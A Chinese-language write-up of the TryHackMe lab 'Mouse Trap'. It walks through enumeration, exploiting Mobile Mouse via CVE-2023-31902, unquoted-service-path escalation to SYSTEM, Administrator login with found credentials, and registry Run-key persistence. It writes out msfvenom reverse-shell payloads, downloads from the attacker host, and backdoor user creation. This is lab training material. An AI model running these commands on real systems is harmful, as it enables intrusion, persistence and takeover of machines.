当前位置: 首页 > article >正文

THM:Mouse Trap[WriteUP]

目录

连接至THM服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取扫描结果中的端口号

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机UDP常用端口进行开放扫描

使用smbmap尝试枚举靶机SMB共享

使用smbclient尝试列出靶机SMB共享

使用curl访问靶机9099端口

边界突破

通过Google对9099端口服务以及漏洞进行搜索

通过Github对该应用进行PoC、EXP搜索

特权提升

查看该用户可用特权

查看该系统中存在的用户

查看该服务根目录ACL

查看靶机中所有已安装的服务

查看靶机系统信息

查看靶机Mobile Mouse服务目录构成

通过查询Windows中的进程管理器Process函数语法可得

根据上述规则攻击机本地侧再次生成一个Payload

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下

本地侧新开nc开始监听

手动启动靶机中的Mobile Mouse Service服务

使用evil-winrm可以直接通过该凭证进行登录

重新生成Payload用于后渗透持久化

靶机将Payload下载到C:\Windows\Temp目录下


连接至THM服务器并启动靶机

靶机IP:10.10.206.239

分配IP:10.11.120.102


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.206.239 -r 1-65535 --ulimit 5000 > res

提取扫描结果中的端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p$ports -sCV 10.10.206.239

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p$ports --script=vuln -O 10.10.206.239

使用nmap对靶机UDP常用端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.206.239

使用smbmap尝试枚举靶机SMB共享

smbmap -H 10.10.206.239

使用smbclient尝试列出靶机SMB共享
smbclient -L \\10.10.206.239

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.206.239
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED

使用curl访问靶机9099端口

curl -v http://10.10.206.239:9099

  • 由输出可知,该端口托管应用或服务:MOUSETRAP

边界突破

通过Google对9099端口服务以及漏洞进行搜索

  • 经过一段时间搜索可知,该端口默认托管服务为:Mobile Mouse
通过Github对该应用进行PoC、EXP搜索

  • 通过命令直接克隆Github上的EXP
git clone https://github.com/blue0x1/mobilemouse-exploit.git
  • 通过msfvenom生成反弹Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=4444 -f exe > shell.exe
  • 本地侧nc开始监听
rlwrap -cAr nc -lvnp 4444
  • 执行EXP脚本,本地侧nc收到回显
python CVE-2023-31902-v2.py --target 10.10.51.172 --lhost 10.11.120.102 --file shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.51.172] 49803
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
mousetrap\purpletom

  • 查找user.txt位置并查看其内容

C:\Windows\system32>cd c:\
cd c:\

c:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of c:\Users\purpletom

07/04/2024  01:58 PM                22 user.txt
               1 File(s)             22 byte

C:\>type c:\Users\purpletom\user.txt
type c:\Users\purpletom\user.txt
THM{XXXXX_XXXXX_X_XXX}


特权提升

查看该用户可用特权

whoami /priv

查看该系统中存在的用户

net user

  • 切换到Powershell
powershell

C:\Users\purpletom\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

  • 从攻击机中将SharpUp进行下载
iwr http://10.11.120.102:8080/SharpUp.exe -O SharpUp.exe

  • 运行SharpUp对当前用户进行特权审计

  • 由SharpUp审计结果可见`Mobile Mouse Service`服务绝对路径存在空格而且未使用双引号

查看该服务根目录ACL

icacls "C:\Program Files (x86)\Mobile Mouse"

  • 由输出可见,作为用户对`Mobile Mouse`具有读、、执行权限

查看靶机中所有已安装的服务

wmic service list brief
  • 可以找到`Mobile Mouse Service`服务全名,并且当前状态是Stopped

查看靶机系统信息

systeminfo

查看靶机Mobile Mouse服务目录构成

  • 由dir命令输出结果可见,在该服务目录下存在两个包含空格的文件或目录
通过查询Windows中的进程管理器Process函数语法可得
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
  • 语法中lpApplicationName是服务启动时会被执行的模块
  • 该参数的文件名称查询规则即当遇到包含空格的文件如:`Test ABC.exe`时
  • 会先尝试解释`Test.exe`,如果未找到`Test.exe`则才会继续查找`Test ABC.exe`

根据上述规则攻击机本地侧再次生成一个Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'       
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
curl -O http://10.11.120.102:8080/Mouse.exe

本地侧新开nc开始监听

rlwrap -cAr nc -lvnp 1426
手动启动靶机中的Mobile Mouse Service服务
net start "Mobile Mouse Service"
  • 本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.100.171] 49958
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

  • 在C:\Users\Administrator\Desktop目录下找到root.txt

  • 查看rdp_credentials.txt内容可获得Administrator用户凭证
gc rdp_credentials.txt

PS C:\Users\Administrator\Desktop> gc rdp_credentials.txt
gc rdp_credentials.txt
Username: administrator
Password: d0ntTRY2m3ssw1thj3rry!!!

使用evil-winrm可以直接通过该凭证进行登录
evil-winrm -i 10.10.100.171 -u 'Administrator' -p 'd0ntTRY2m3ssw1thj3rry!!!'

重新生成Payload用于后渗透持久化
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

靶机将Payload下载到C:\Windows\Temp目录下
wget http://10.11.120.102:8080/shell.exe -o shell.exe

  • 通过system权限执行以下命令,当用户登陆系统时自动执行C:\Windows\Temp\shell.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
  • 为满足题目需要,这里新建一个terry用户
net user terry ABC123abc /add
  • 运行C:\Users\Administrator\Desktop目录下的checker.exe获取flag

PS C:\Users\Administrator\Desktop> .\checker.exe
.\checker.exe
Flag: THM{XXXXX_XXXXXXX_#XXXX#}


http://www.kler.cn/a/459597.html

相关文章:

  • Git 新手无忧:常用命令与错误解决攻略
  • 期末速成C++【大题汇总完】
  • Vue2/Vue3使用DataV
  • Excel VBA 自动填充空白并合并相同值的解决方案
  • 企业为何需要小型语言模型:AI 应用的新趋势与策略
  • 爬虫的工作原理
  • sentinel集成nacos启动报[check-update] get changed dataId error, code: 403错误排查及解决
  • 路由器OSPF动态路由配置
  • 解锁动态规划的奥秘:从零到精通的创新思维解析(3)
  • qt5.12.11+msvc编译器编译qoci驱动
  • 改进爬山算法之三:最陡上升爬山法(Steepest-Ascent Hill Climbing,SAHC)
  • 「下载」“一机游”智慧旅游平台解决方案:智慧文旅4大应用8大特色,实现旅游监管、营销与服务的全面升级
  • 基于Docker+模拟器的Appium自动化测试(一)
  • React组件化开发
  • 力扣 2080. 区间内查询数字的频率 离散化 二分 开区间 左闭右开区间 lowerBound
  • Linux下编译 libwebsockets简介和使用示例
  • GPUStack v0.4.1 单节点与多节点安装与部署指南 Docker PowerShell
  • 2. FPGA基础了解--全局网络
  • 18.springcloud_openfeign之扩展组件二
  • Prometheus学习笔记
  • 【鸿蒙NEXT】鸿蒙里面类似iOS的Keychain——关键资产(@ohos.security.asset)实现设备唯一标识
  • ES6模块化:JavaScript中的导入与导出详解
  • TypeScript一些新概念
  • leetcode 9.回文数(整数不转成字符串)
  • GDPU Vue前端框架开发 跨年大礼包
  • Go-知识 模板